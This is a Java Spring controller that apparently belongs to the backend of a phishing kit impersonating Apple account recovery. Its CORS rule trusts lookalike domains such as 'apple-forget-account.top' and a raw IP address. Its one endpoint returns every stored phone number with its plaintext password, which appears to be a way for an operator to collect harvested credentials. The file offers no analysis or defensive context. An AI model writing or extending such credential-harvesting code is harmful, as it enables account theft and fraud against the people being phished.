package com.school.appleforgetbackend.controller;

import com.school.appleforgetbackend.model.AccountInfo;
import com.school.appleforgetbackend.service.AccountService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.util.List;
import java.util.stream.Collectors;

/**
 * @author apple
 */
@Controller
@RequestMapping("/apple")
@CrossOrigin(origins = {"http://193.233.84.94", "http://127.0.0.1", "http://apple-account-forget.top",
        "http://apple-forget-account.top"},
        allowCredentials = "true")
public class QueryAccountInfoContoller {

    @Autowired
    AccountService accountService;

    @RequestMapping(value = "/getAccountInfoList")
    @ResponseBody
    public List<AccountInfo> getAccountInfoList() {
        return accountService.getAccountInfoEntityList().stream()
                .map(entity -> AccountInfo.builder()
                        .phoneNumber(entity.getPhoneNumber())
                        .password(entity.getPassword())
                        .createTime(entity.getCreateTime())
                        .updateTime(entity.getUpdateTime())
                        .build())
                .collect(Collectors.toList());
    }
}